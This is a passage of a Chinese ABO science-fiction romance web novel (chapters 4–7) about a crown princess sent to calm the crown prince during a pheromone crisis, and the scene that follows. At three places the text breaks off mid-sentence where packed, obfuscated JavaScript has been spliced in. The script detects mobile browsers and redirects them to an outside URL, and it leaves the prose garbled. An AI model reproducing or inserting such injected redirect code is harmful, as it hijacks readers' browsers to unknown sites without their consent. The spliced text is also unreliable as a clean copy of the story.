一位面色凝重的军官笔直地站在门口,正当桑宁叙一脸懵地思索着这帅哥是哪位时,元宿已然动了动手指,于是,被他挡在身后另外两位士兵立即侧身闯入了屋内,二话不说地一把架起桑宁叙就向外面冲去。 “等下……” 被两个士兵死死固定住的女孩在挣扎中不幸甩掉了两只拖鞋,她只好光着脚像只小鸡仔一样缩着脑袋,被身材健壮、看起来一拳就能打死她的男人们提溜着塞进了车里。 “出发。” “是!” 等车子终于启动,刚才站在门口的男人才终于有空摘下军帽,转过头对着孤零零抱着双腿、被丢在飞行器后座上极度紧张的女孩温声解释了情况。 “抱歉太子妃,太子殿下因为意外而导致信息素失控暴动,军队的医生和专家无一人幸免,均遭到太子殿下的全力驱逐与攻击,我们实在是束手无策,不得不请您出面安抚太子,让他尽快清醒。” 4. 第 4 章 什么信息素暴动? 她,安抚? 要怎么安抚? 一头雾水的桑宁叙呆呆望着男人坚毅的侧脸,兴许是她疑惑不解的目光过于强烈,半天没有等到回应的副指挥官元宿不得不再次出声为女孩解释:“您不必害怕,病房内正在被持续监控着,一旦我们发现您有任何危险,会立即释放大量强效镇定剂让殿下暂时昏睡,同时第一时间解救您。” “太子殿下的信息素您应该也知道……如果连被他选中的您也不行的话,大概这次真的要……” 男人的语气渐渐低落下来,虽然桑宁叙的确不清楚穆沉凛的信息素到底出了什么问题,但听这位的意思,大概就是要她释放自己的信息素来安抚太子。 还好结婚前她有恶补过大量AO的生理知识,虽然自己闻不见,但释放信息素这种本属于Omega天性的事情,应该是不难做到。 想到这里,桑宁叙稍微放松了一些,她有些迟疑地点了点头,紧接着在男人感激的视线中,又抱着胳膊重新靠回了椅背。 按道理来说,闻不见味道的自己应该能对穆沉凛的信息素免疫,就是不知道她的信息素对男人到底有没有作用了…… 但无论怎样,看在自己嫁过来后凭借太子妃身份享了大半年福的份上,这次就当做是回报她这位辛苦在前线厮杀的丈夫了。 毕竟,吃人嘴短,拿人手软嘛。 可惜,只是读了一堆客观文字描述却并没有切身体会过顶级Alpha信息素暴乱的桑宁叙,还不知道自己即将面临的是怎样一头已经失去理智、只迫切渴望发泄欲望的残暴凶兽。 “太子殿下的情况怎么样?” “报告贺长官,太子殿下不再具有强烈的失控和毁坏行为,只是……” 带着金丝眼镜、身穿白大褂的斯文男人风尘仆仆地赶到监控室,他一进门就先接过助手递过来关于穆沉凛最新身体数值记录的报告后,一边快速浏览,一边时不时抬头观察着那个正坐在监视器下方却闭着双眼似乎沉睡的男人。 然而,观察室里的每个人都知道这位仅次于帝后之下尊贵的男人并不如表面看上去这般沉静又无害,只要看一眼屏幕上信息素浓度指数发出的特级危险警报,就能知晓那间屋子已然完全被男人的力量所侵占,任何一个不速之客与试图闯入的对象都会遭到他的无差别攻击与绞杀。 哪怕是他在战场上的兄弟与亲信,毫无例外,一律遭到同样不近人情的驱逐与摧毁。 三天前刚送入病房的太子殿下远不如现在这般平静,浑身剧烈的痛意与高热让他的身体几乎要自行解体,无时无刻感官过载带来的痛苦更是让他暴躁的像头发狂的饿狼一般撕咬攻击着任何一位试图靠近的人,且男人又拥有着最顶级、也最刺鼻的信息素,在正常状态下本就足够刺激难闻的冰醋酸现下更是无人能敌,军队内部几乎所有的Alpha在穆沉凛被送入隔离病房之前都经历了长达半天的,被迫低头俯身、跪地不起的场面,当时整个星舰内部充满了尖锐、暴戾、甚至让每个人都无法呼吸的高浓度腐蚀性酸味。 终于在贺军医长与其带领的特级医务小队没日没夜的诊断和医治下,虽然太子殿下的信息素依然游走在暴乱边缘,但大量的强力镇定剂与抑制剂还是发挥了其应有的功效,同时,这位经历过无数战场、早已对痛觉免疫的男人,也迅速习惯了身体带来不适,原本濒死前如猛兽一般的极端破坏欲与攻击性也被他强大的毅力暂时压制了下来。 这就是顶级Alpha天生强悍的自控与适应能力吗? 贺书愉目光沉沉地盯着屏幕那头五官精致且面色安稳的男人,内心的贪婪和恶念在心头逐渐缓慢地流淌起来,他仔细注视着男人因为压制痛苦而不断起伏的胸膛,当目光落在他因骨骼剧痛的手臂暴起一道道青筋时,心底的恶毒如巨涛般翻滚侵袭而来,试图冲破牢笼恶狠狠地占据那人的身体。 就在此时,像是感应到什么的穆沉凛突然睁开了双眼,不同于以往的冷漠无情,阴鸷暴虐到如沾染了鲜血般的眼睛狠狠刺向摄像头那端的贺书愉,霎时间,监控室内的所有人都停止了动作和声响,每个人都好似被冻结了一般站在原地一动不动。 来自太子殿下的威胁与敌意,哪怕透过那层厚厚的屏幕,也全然精准的让所有在场的Alpha们像被恶兽叼住脆弱腺体的小绵羊似得温顺至极,高压下的众人连大气都不敢喘息,生怕惊动了那个正虎视眈眈凝视着他们的男人,下一秒就会丧命于此。 被男人凶狠目光擒住的普通Alpha贺书愉此时的后背已经全部湿透,白大褂与黑色的薄衬衫正难受地黏在背部,可他这个向来有洁癖的人现在却只能纹丝不动地站在原地,硬着头皮咬牙接受着来自太子殿下恐怖到极点的逼视。 这个Alpha实在是……太敏锐了…… 快要支撑不住身体的贺书愉双腿止不住地颤抖,然而却没有人敢来上前扶一把这位早已凭借高端医术和优秀科研成果,年纪轻轻就稳坐首席军医位置的天才。 进门后还干净儒雅的男人现在整个人都像是掉入了水缸里被捞出来一样,一颗一颗的汗珠顺着额头滑落跌至地面,他死死咬住舌尖努力强迫自己不要再反抗红眸男人的检视,即使怀揣巨大的不甘与嫉妒,危在旦兮的他也不得不垂下眼帘,压下那些不断叫嚣的漆黑欲望,缓慢低下头颅,露出后颈的腺体,这是一个低级Alpha自愿臣服高阶Alpha的动作,贺书愉不再试图挑衅男人,再次激起他的攻击。 因为信息素暴乱而早就失去理智的穆沉凛并不清楚自己在做什么,男人只是凭借自己在战场上对恶念和杀意的极致敏感,条件反射般地追寻源头并习惯性释放大量信息素镇压,直至对方屈服、乃至死亡。 监控室的报警器发出一阵又一阵危鸣,不断提醒着众人那勉强陷入沉睡的暴徒即将清醒,很快,迎接他们的将是一位完全失去意识、只知杀戮的恐怖物种,届时,已经十倍含量释放的药剂将彻底失去作用,而等待所有人的…… 也是全然未知的命运。 哪怕星舰上的所有Alpha加起来,大概也干不过这个失控的顶级疯子。 “太子妃殿下来了!” “都让开!” 监控室的门被人一脚踹开,三个面色紧张的男人顿时出现在门口,而跟在他们身后的,则是跑得上气不接下气,正艰难大口呼吸的桑宁叙。 她这可怜的小身板,一下飞行器就被男人们连拖带拽的以冲刺奥运短跑的速度飞奔而去,长期缺乏运动的女孩很快就受不了想要停下歇会,然而那几位心寄太子殿下的忠诚下属压根不顾她的死活,只是不断说着“再坚持一下!”“马上就到了!”,然后毫无怜惜地继续把她当匹累不死的马溜着。 肺里尽是烧灼与疼痛,桑宁叙难受地捂着自己胸膛,靠在门框边死命粗喘。 要命啊,她还没安抚太子呢,怎么感觉自己要先噶了! 监控室内恐怖又诡异的氛围被来人打断,同时感受到危险目标丢失的穆沉凛也再次平静了下来,他缓慢地闭上了双眼,又恢复成了那副最开始的安详姿态。 “贺医生,您没事吧?” 元宿皱着眉头看着正单手扶在桌子边急促呼吸的男人,他简直像是刚洗完澡一样浑身上下都湿漉漉的,元宿还从未见过这位已经跟随他们作战三年的首席医师如此狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817804|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狈不堪的模样。 要知道,贺书愉这家伙向来跟他们这群在战场上与恶心虫子厮杀的浑身臭味和血腥味的士兵不同,这位极其讲究穿衣打扮的洁癖男人,哪次不是潇洒至极的出现在众人面前,就连他的白大褂和手术服都是找专人定制,跟其他随军的医生们也完全不同。 虽然男人喜爱打扮,但是其专业顶尖的医生素养与高超的技术还是让他们这群五大三粗的大老爷们没法吐槽,毕竟,谁不等着万一某天自己真的命悬一线,这位牛逼的大佬医师能出手拯救自己的性命呢! “贺医生?” 见男人像是没听见一般目光怔怔地盯着桌角发呆时,担忧自家太子身体的元宿忍不住再次出声:“太子妃殿下来了,是不是可以让她进入病房了?” “什么?” 被唤醒的贺书愉双目茫然地望向这位跟他不太对付的太子的左膀右臂,在男人略带疑惑与不满的眼神里,贺书愉只觉得脑内一阵刺痛,随后,那个令人熟悉的笑面虎毒舌首席军医再次出现在他们面前。 “太子妃殿下,这边请。” 贺书愉额前的刘海由于被汗水浸湿,此时正一缕一缕的半贴在皮肤上,男人却毫不在意地随意拨动了几下,露出了光洁白皙的额头和立体标志的五官。 他风度翩翩地对着依然站在门口放空休息的桑宁叙微微倾了倾身子,尽管外表狼狈不堪,但男人刻在骨子里的矜持与高贵还是在举手投足之间不经意流露出来,只不过还不等桑宁叙出声,他却已然自顾自地站直了身体,对着女孩温柔地笑了笑。 站在一旁的元宿虽然面色不好,但也迟迟没有开口。尽管他一向看不惯贺书愉傲慢自大的行为,特别是从来不把皇室放在眼里的那种轻蔑,要是以往,他一定在第一时间就厉声训斥他的不尊重,但现在…… 看着视频中太子殿下愈发苍白的嘴唇,元宿的心瞬间紧张了起来,他知道殿下已经在拼尽全力控制着即将崩溃失控的信息素,没时间再耗下去了,必须尽快把太子妃送进去,这是他们最后的希望了。 “贺医生,准备吧,要来不及了。” “不必废话,太子妃殿下,请随我来。” 才恢复正常的贺书愉正眼神趣味地打量着桑宁叙,在听见元宿的催促后,他语气漠然地对着一旁刚毅正直却也视太子为神的军官吐出几个字后,随即没有一丝尊敬地转头离去。 “这该死的小白脸……” 其中一个男人见不惯贺书愉的霸道作风,正想冲上前去揪着男人的领子好好跟他掰扯一番,却被元宿一个冰冷的眼神止住了还没迈出的左脚。 “别惹事。”太子殿下忠心耿耿的副官面色不愉地警告着下属,虽然他也非常想跟这位眼睛长在头顶上的男人好好理论理论,但现在最重要的并不是这个。 “太子妃殿下,太子他……就麻烦您了。” 元宿对着正经过他身边的女孩深深鞠了一躬。 “麻烦太子妃殿下!” 霎时间,另两位也随即毫不犹疑地弯腰鞠躬,嗓音洪亮的像是在进行宣誓。 原本走得好好的桑宁叙被这三人突如其来的标准90度鞠躬吓了一跳,她满头黑线,顿时觉得自己压力山大。 “不麻烦,我尽力。” 女孩对着脸朝地面并不能看见自己动作的三人尴尬地挥了挥手,随即快步朝那位已经走远的医生身后追去。 话说,她不是太子妃吗?这位医生居然就敢这么大胆地把她甩在身后,如此看来,似乎帝国皇室的地位也没有她想象中那么高不可攀嘛…… 桑宁叙一边在心中疑惑,一边步履匆匆地紧跟上远处那人清瘦高挑的背影。 5. 第 5 章 “这是用来实时监测您身体状况的仪器,一旦您遇到危险,数值异常波动,它会自动拉响警报,我们也会在第一时间行动。” 贺书愉拿着一个手环一样的银色圆圈不紧不慢地从办公室走出来,在这太子性命垂危的关键时刻,男人居然还有闲情逸致换了一套干净的衣物,甚至打理吹干了头发,他迎着女孩好奇的目光,缓步上前把检测仪套在了她的手腕上。 “那么……”男人有点兴味地眯了眯双眸,对着桑宁叙似笑非笑道:“祝您好运了。” 怎么就祝她好运了? 在贺书愉的带领下,继续朝病房方向前进的桑宁叙跟在他身后默默打量着男人修长的背影,心中却有无尽疑虑。 不是,怎么都没有人仔细跟她介绍一下到底是怎么个事儿呢? 说起来这位医生也太不称职,居然对她这个病人的家属守口如瓶,那还要她怎么帮忙治疗嘛! 而且,就这么随随便便把一个普通甚至半残疾的Omega送到连Alpha都搞不定的大魔王面前,也太草率了吧! 最重要的是,她还不知道穆沉凛的信息素到底有什么问题,居然能让所有人都避之不及…… 脑子里满是大大小小问号的桑宁叙眉头越拧越紧,眉心那处甚至鼓起了一个小山丘。 她好愁啊…… “就在这里了。” 可惜现实并不允许她惆怅。 桑宁叙应声朝前望去,外表儒雅英俊的男人此时已停下脚步,他从上衣口袋露出特有的手环,往面前的显示屏上随手一划。 “门已经解锁,进去之后会自动上锁,所以听见任何动静都请您不必惊讶。” 不笑的贺医生现下看起来严肃极了,帝国首席军医的威严四散开来,桑宁叙随着他表情的变换也逐渐变得紧张起来。 她还从来没释放过信息素,等会儿不会出什么问题,一不小心被自己的丈夫给噶了吧…… “去吧,殿下在等您。” 正不停胡思乱想的女孩顺着贺书愉的视线望去,不知什么时候大门居然变成了半透明的样子,站在外面的人能够将里面的一切看得一清二楚。 早在贺书愉还没解锁前,穆沉凛就已经察觉到屋外的二人,Alpha对于同类天生的不喜与排斥让他很快就暴躁起来,桑宁叙惊讶地望着里面那人的身影,只觉得这跟她印象中的太子殿下完全不一样。 怎么说呢,之前的太子殿下就像是一朵高高在上的孤傲雪莲,虽然冰冷但也平和。 但面前的这位…… 尽管门还未开,已经感受到男人如冰刃一般刺人且危险目光的桑宁叙不自觉地吞了吞口水,她被男人毫不遮掩、忽明忽暗的疯狂视线弄得头皮发麻,只想临阵跑路。 “太子妃殿下。” 耳边再度传来贺书愉微凉的嗓音,若是仔细听去,还能发觉里面隐藏的些许不耐,桑宁叙知道这人是在催促她,虽然心里的鼓咚咚咚地敲打个不停,事到临头,她也不得不硬着头皮推开了大门。 后脚才刚刚迈入房间,还没来得及站稳的桑宁叙立刻就听见了电子锁发出的熟悉提示音,她下意识回头看了一眼,发现大门已经恢复到初始状态,彻底隔绝了屋里这位危险分子的存在,同样也隔绝了她屋外的救命稻草。 得,走一步看一步吧…… 等她鼓起勇气再次转过头,刚才还懒散坐在床边的男人已经神不知鬼不觉地悄然站在她面前,黝黑如野兽一般嗜血凶残的双眸对上了她浅棕色的瞳孔,两人之间的距离也就不到三厘米左右,穆沉凛此时正一动不动地盯着她。 老天! 被搞了一波回头杀、内心毫无防备的桑宁叙差点被这人吓得一屁股坐到地上。好在她并不是易惊吓体质,况且,知道自己正在众人眼皮子底下被监视的桑宁叙绝对无法允许作为堂堂太子妃的她第一次外出见人就出个大洋相,所以她只好死命强撑着身体,愣是站得那叫一个僵硬笔直。 “怎么感觉太子妃好像并不受太子殿下信息素的影响……” 的确,正通过监视器观察二人的贺书愉和元宿等人,很快就发现了桑宁叙不同寻常的反应。 要知道,当时仅仅是把昏迷的太子殿下从飞船抬到隔离病房的这段短短五分钟的路程,几乎就快要了大家的命。凡是接近他的人即使在全副武装的情况下,还是免不了受到冰醋酸的持续攻击。 连这些训练有素的Alpha们都受不了的信息素,更别提普通的Omega们了。大部分闻过太子殿下信息素的Omega,无一例外的都被直接刺激到当场陷入昏迷或晕厥,稍微好一点能勉强保持清醒的,也依然无法接受太子殿下的味道,更别说跟他结合配对了。 于是这件事也成了帝后心头的一根刺,虽然太子作为帝国近百年来最为罕见的顶级Alpha,其信息素拥有几乎无人能敌的强大威力,是继任帝位的不二人选,但…… 一个找不到适配Omega的Alpha,先不说延续后代的问题,光是他成年之后的发情期,又该如何度过呢? 总不能永远和抑制剂过一辈子吧! 有意思…… 贺书愉双手抱在胸前,冷眼注视着画面里的二人,在看见女孩主动撕掉阻隔贴的下一秒,监控视频的画面却突然被切断。 “糟了!” “怎么回事?” “什么情况!” 刚才还平静的监控室瞬间乱做一团,一直坐在角落的观察员在元宿焦急的催促中手忙脚乱地不停调试着画面,几番尝试后却依旧无果,屏幕上一片黑暗。 “贺医生,我们需要立即前往病房。” 元宿沉着脸嗓音冷凝地对贺书愉开口,他的手紧紧扣在军装的腰带上,似乎下一秒如果听到的答案是拒绝,他将毫不犹豫地掏出武器对准男人的心脏,胁迫此人开门。 就算贺书愉的级别在他之上又如何,紧要关头前他可管不了这些,不过是以下犯上,太子殿下的安危永远是他的首要考虑因素,至于剩下的一切,都可以等殿下痊愈后他主动上报请罪受罚。 “急什么。” 躁乱中只有贺书愉一言不发,冷淡地站在原地继续保持着看戏的姿势,在画面消失的同时感受到手环传来的轻微震动后,他心里就有了大致的猜测,于是不慌不忙地拉开椅子,好以整暇地坐了下来。 在元宿语气不好的再次开口后,贺军医长像是听见了什么无聊的笑话一般轻嗤一声,似乎是看不起他的这番夸张做派,随即不轻不重地丢下一句:“太子妃身上的报警器不是没响。” “可是……” 元宿紧皱着眉头还想再争论几句,谁知监控却意想不到地自动恢复了正常。 众人同一时间朝前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817805|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方望去,只见视野里充满了一张放大的面孔。 比起之前遭受信息素暴乱的痛苦与压制,此时的太子殿下依然肉眼可见的极为不对劲,只不过…… 画面一闪而过,监控室再次陷入了黑暗,收到指示的元宿难得愣怔了一会,这位帝国最高军队的副指挥官居然头一回质疑了自己的理解能力,殿下刚才的意思,是他想的那样吗? “元副官,殿下他……” 身后的手下此时也凑上前来,少见地发出了相同的疑惑,还在思索的元宿很快便意识到刚才并不是自己眼花,殿下的确是比出了那个特殊的手势,既然如此,那便没有什么犹豫的必要了。 “贺医生,我们还有其他要事,就此先行一步,殿下清醒后请立即通知我。” “嗯。” 意料之中的贺书愉头也不回地对着身后的那人随意摆了两下手,像是在示意慢走不送。 待房间再度安静下来,贺书愉也顺势清走了其余的旁人,他独自靠在椅背上,面无表情地看向那漆黑一片的屏幕,不知道在想些什么。半晌后,男人垂下阴郁的目光,熟练地调出了信号截断前桑宁叙最后一刻的身体数据。 啧,发情期啊…… 男人面色不愉地关掉手环,随着他的起身,房间里的光也逐渐暗淡下去。 咔哒,门被轻轻关上,寂静的室内瞬间被黑暗所笼罩,也彻底吞噬了男人离开前不满地冷哼。 桑宁叙现在的处境不太妙。 原本她以为的安抚不过是释放点信息素,顶多让忍不住的太子殿下咬一口临时标记就好,但是现在的情况完全超乎了她的预期。 身上的男人已经基本失去理智,他滚烫的身躯牢牢压在她的身体之上,双手更是死死禁锢着她的手腕,不允许女孩有一丝逃离的可能,一个又一个湿热的吻落在光滑白皙的皮肤上,时不时还像占有标记那样咬住皮肉不放,留下一圈圈淡红的印记。 本就理智崩坏的男人此时再无自控力可言,他已经被身下人的味道诱惑到每条血管都像即将爆炸般那样疼痛难捱,浑身叫嚣着释放与融合,只剩下最原始的掠夺本能,开始一点点向味道最浓郁的那处移去。 活人微死的桑宁叙木着脸呆望着头顶冷白的天花板,像个任人蹂躏的玩具一般躺在床上,只觉得后颈处的腺体又热又痒,甚至连带着她整个人都不舒服起来,有一种无法忍受的渴意与灼热不知何时从骨子里涌起,逐渐席卷全身,却又在下一秒立刻被另一股说不出来的奇妙感觉短暂抚平,紧接着,是一波又一波更加失控的迷乱与渴求。 刚才进门后的她虽然什么味道都没闻见,但空气里传来的剧烈能量波动和男人毫不收敛的震慑与攻击还是在第一时间就让她察觉了危险,尽管来之前已经给自己洗脑了无数遍:就当是用美食安抚一只听不懂人话的饿狗。可等她真正近距离接触这人后才意识到,之间自己天真的想法究竟是有多离谱,多简单。 这才不是什么容易打发的犬类,分明是能把她连皮带骨直接生吞的饿兽啊! 当时她被太子殿下漆黑竖瞳盯得心率直线上升到200后,直觉不妙的桑宁叙颤颤巍巍又小心翼翼的抬起手,在确认对方并没有试图攻击的意思后,狠了狠心,唰地飞快撕掉了贴在腺体上的阻隔贴,并在心里一遍又一遍的大声祈祷。 老天保佑她的信息素有点效果吧! 6. 第 6 章 穆沉凛闻过不少人的信息素。 少年时期,曾有过几个不知天高厚的Omega授家族之意试图引诱他,Omega们白嫩如莲藕一般的脆弱脖颈明晃晃地摆在眼前,甜美到发腻的信息素则像一把小钩子似的一下又一下故意撩拨着他。 面无表情的太子殿下只是稍微释放了连百分之五都不到的信息素,很快就冷眼旁观着刚才还妩媚撒娇的小O瞬间面色狰狞地瘫倒在地,随即被侍从抬走。 习以为常的穆沉凛冷着一张脸没什么情绪地转身离去,随后用相同的方法对付了一个又一个麻烦的觊觎者。 等他逐渐长大,回过神来的帝后终于意识到自己唯一的继承人变成了Omega绝缘体,情急之下便放任王公贵族们将一群又一群不同味道的Omega送到穆沉凛身边,只可惜,挑剔的太子殿下从未看中过一人,不论是酸的、甜的、凉爽的、又或是微苦的,他只觉得这些带有独特味道的信息素都难闻极了。 就没有那种无味的信息素吗? 成年后的穆沉凛不止一次的想到,为此他还甚至进入了只供皇室高层查阅机密资料的信息库,就想看看偌大的帝国有史以来到底有没有谁的信息素是无味的,或者,味道清淡点也行。 和Omega信息素的美好诱人不同,大部分Alpha的信息素都非常浓郁剧烈,特别是在军事学院,高强度训练之后,力竭Alpha们的信息素会在汗水的裹挟中不经意散出,虽然极淡,要是不凑近几乎没什么味道,但那也只适用于普通Alpha。像穆沉凛这样稀少独特的顶A,总能瞬时捕获他人的味道。 虽然他在校期间众人都尽最大可能戴好阻隔贴绝不泄露一点信息素,但发育期的Alpha们本就无法完美地控制腺体,再加上AA之间的挑衅和大大小小的比试,倒霉的太子殿下时不时就会被战斗完大汗淋漓的同学们熏到,无奈之下,殿下也只是无奈了一下。 毕竟,要说谁的信息素最难闻,大概全帝国他敢称第二,无人敢称第一。 凡是有幸与殿下合作过的Alpha们无一例外地都纷纷摇头大呼遭不住,尽管在战场上的殿下绝对是受人钦佩、无人能敌的大杀器,但是,冰醋酸的味道也实在是太…… 尖锐的酸腐气和直冲鼻腔的烧灼只叫闻过的人瞬间痛苦不堪,只想离得越远越好。 可眼前这人却不同。 沉溺在女孩清远淡薄味道中的穆沉凛偶有几刹恢复了一丝理智,但这短暂的几秒对他而言也完全足够。 足够认可她。 他似乎,终于找到了一直以来所期待的,那种纯粹又旷远的气味。 像是刻在骨子里的熟悉,只需一口,就能体会到极冽的清澈与纯净,其中还夹杂着极淡的甜意,虽然微乎其微,但却如同空无湖面上由寒冰凝成的透明冰糖,只有百般品尝才能察觉到那一点,却立即就能使人发狂到渴求更多的甜。 很冷,很空,寂静中寒风呼啸,冻结的冰绿色湖面混合着风与空气的自然气息,组合成这片幽远凝结、如锋如绸的沉静湖泊。 好热……好烫……好难受…… 与弥散在房间内冰冷的信息素不同,桑宁叙只觉得整个人都像是被架在烈火上灼烤,奄奄一息,就连呼出的气体都好似沾染了碳火的滚烫。 只是刚刚取下阻隔贴,还没反应过来应该如何实操的桑宁叙下一秒就被拉入了一个从未体验过的世界,大脑彻底罢工,思维混沌迷茫,全身瘫软无力,就连基本的站立都无法保持。 最重要的是…… 她很痒。 非常难以忍受的痒,以及不清不楚的阵痛。 什么都想不起来的桑宁叙早已忘记身在何处,她现在只想迫切止痒,好让自己不那么难受。于是,当她忍不住伸手去揉摸那处时,察觉到她想法的穆沉凛已经提前一步切断了监控,长臂一伸把人紧紧搂在了怀里。 好软,好舒服。 触碰到她微凉的皮肤和身躯后,穆沉凛只觉得原本过载的身体与痛楚几乎是立刻轻易地消解下去,随之而来的,是令他熟悉的躁动和急切的占有欲。 犬齿一阵一阵地发痒,男人像头潜伏在夜色中的大型捕食者,双眸漆黑的紧盯着女孩的后颈,似乎在等待着最佳时机,一口咬下,带给她巨大欢愉的同时也让她彻底成为自己的另一半。 老实说,桑宁叙非常不喜欢现在的感觉。 她感觉自己就像是被人强制喂了春药,虽然她也从没尝过那玩意,但潜意识里就是莫名认为自己现在的状况一定比吃了强效春药的人好不到哪去,说不定还有过之而无不及。意识模糊中她只能死死抓着对方的手臂,企图通过紧密的贴合来缓解那忍无可忍的空虚。 女孩一刻不停地靠在他身上乱动,即使太子殿下拥有无比强大的自制力,也终究抵不过属于Alpha底层基因的生理反应。 想占有,想侵吞,想将她锁在只有自己才能看见的地方,日夜不休地与其交融,直至合为一体。 直至,双方的信息素都沾染彼此的气味。 “……混……蛋……” 听见怀中人细微声音的穆沉凛像是被人突然从梦中唤醒,他迟疑了一秒,似乎是在努力理解对方的意思,与此同时,房间里刺鼻的酸味被不知从哪儿来的冰野寒风吹散,随之而来的,是一股令他感到陌生的、无法用语言描述的古老气息。 被冰封的湖泊在慢慢解冻,永久封印的生命气息从湖底一点点翻涌向上,逐渐形成了一股奇异的冷香。 冰醋酸的味道在不知不觉中被稀释,温柔冷冽的湖水淹没了整个房间,浸泡在水中的男人却只觉得周身都舒展放松,所有焦躁烦扰的情绪全被湖水冲散,长年累月保持着高度警惕心的太子殿下极为少见的从进攻方变成了被守护方,在冰湖的信息素中,变得沉静淡然下来。 然而和穆沉凛的平静舒适不同,桑宁叙虽然什么味道都闻不见,但腺体传来的锋利切割感让她痛苦到极致,尖锐的纯酸像爆开的微型冰晶,腐蚀性的化学试剂无时无刻不在刺痛她的感官神经,思绪茫茫中她只能倾尽所能用力赶走那种令人不悦又战栗的感觉。 好在对方并没有跟她硬碰硬,在她即将爆发之前,冰醋酸不再抵抗,而是自愿融入了湖水之中,任凭寒冷透骨的气息将自己缠绕包围,然后一点一点被对方吞噬。 男人落在唇边的吻不再如之前一般滚烫,他的身体似乎也受到信息素的影响,开始逐渐从高热恢复到正常。 抱在一起两人的浑身都湿透了,但却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817806|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人在意,桑宁叙只觉得自从穿过来后一直冷得不正常的身体终于迎来了暖意,与此同时,她的耳边甚至听见了爆破般的炸裂声。 终于相融的信息素为二人带来了极致的愉悦与舒畅,肢体的触碰与轻抚更是延续增强了快感,甚至让从未标记过他人的Alpha产生了强烈的冲动,就想不管不顾的先下口为强。 高度结合中的双方正在短暂共感,桑宁叙在男人想法出现的同一时间就察觉到了他的狂喜与渴望,只是,还处在混沌中的女孩想也不想地立即重新冰封了湖水,将融合的冰醋酸彻底封印在寒冷坚硬的冰面之下。 第一次对Omega发出喜欢信号后却被毫不留情拒绝的太子殿下顿时愣在了床上,清醒后的男人很快就恢复了平日里冷肃的模样,神情莫测地低下头看着躺在自己怀里衣衫凌乱、面色潮红、因为疲惫已经沉睡过去的女孩。 是他的太子妃。 他倒是没想到,他们二人信息素居然会如此匹配。 当时选择桑宁叙不过是因为她是所有人里唯一一个不抗拒冰醋酸的,况且帝后对于他找不到合适Omega这件事近乎成为了执念,被逼无奈只想赶紧解决婚事好奔赴战场的穆沉凛便不再坚持,随意从参选人中挑了一个不受他信息素影响的Omega。 原本不过是为了完成任务才把人娶回家的太子殿下并不准备碰这位名义上的太子妃,已经准备靠抑制剂熬过往后发情期的他打算在登基后随时放女孩自由,如果她看中后位不愿离婚,那也没关系,只要不搞出什么幺蛾子,他也愿意睁一只眼闭一只眼,两人就这样相敬如宾的共同走完一生。 但现在…… 品尝过她信息素的太子殿下只想无时无刻陷入在那空旷无垠的湖水之中,在寂静与冰冷中与之纠缠交融,占据那独特的甜与空无,让她的里里外外都只属于自己,最后,在那脆弱可怜的器官上,留下只属于他的不可磨灭的印记。 穆沉凛光是想了想,才刚刚被安抚平息的信息素几乎是下意识就止不住地翻滚起来,立刻催促着他再度结合,回到那悠远冷凝的绿色湖水之中。 向来对信息素拥有百分之百掌控权的穆沉凛第一次明白为什么配对后的Alpha总是像头未驯化的野兽一般,脑子里除了结合之外再无其他念想,只是叼着对方的腺体缩在床上就已然满足,随即便沉浸在无穷尽的欲念与贪婪中。 往日的他对此很是不解,比起跟爱人待在一起,作为军人的首要目标难道不该是保证帝国安危并尽快攻破虫族,儿女情长的东西,哪里比得过闪亮的功勋和世人的敬仰,毕竟只有这些才能让高傲的Alpha感到自满和充实。 无法收敛的冰醋酸张牙舞爪地冲向熟睡的女孩,然而几乎是同一时间,察觉到熟悉味道的冰湖早已悄然释放,在桑宁叙的腺体被攻击之前,温柔强大的冰湖已经提前拦截了浓酸,在其他人面前冲得不得了的酸现在倒像是个淘气宝宝一样,毫无顾忌地贴在冰面上,吵闹着希望进入更深处。 算了……就当是大战结束后久违的休息吧。 难得放弃挣扎的太子殿下跟随内心克制不住的悸动与欢喜,再次倒在床上将人重新搂回怀中,他阖上双眼,沉溺于被冰冻的纯净气味中,与女孩一同进入梦中的世界。 7. 第 7 章 桑宁叙做了一个非常混乱的梦。 梦里她身处一团迷雾之中,看不清周围的一切,遥远处勉强能窥见星星点点的微弱光亮,但极寒的温度让她很快就僵硬到发抖,就在她试图大声呼救之前,耳边却忽然传来古怪的震动和敲击,仅仅一瞬,桑宁叙就忍不住恐惧到头皮发麻。 这绝对不是正常人类能发出的声音,若仔细分辨,密密麻麻如同指甲刮擦粗糙石膏墙面所发出的刺耳噪音也掺杂其中,随之一点点增强,如果硬要描述,更像是虫类口器在进食时因为摩擦而发出的动静。 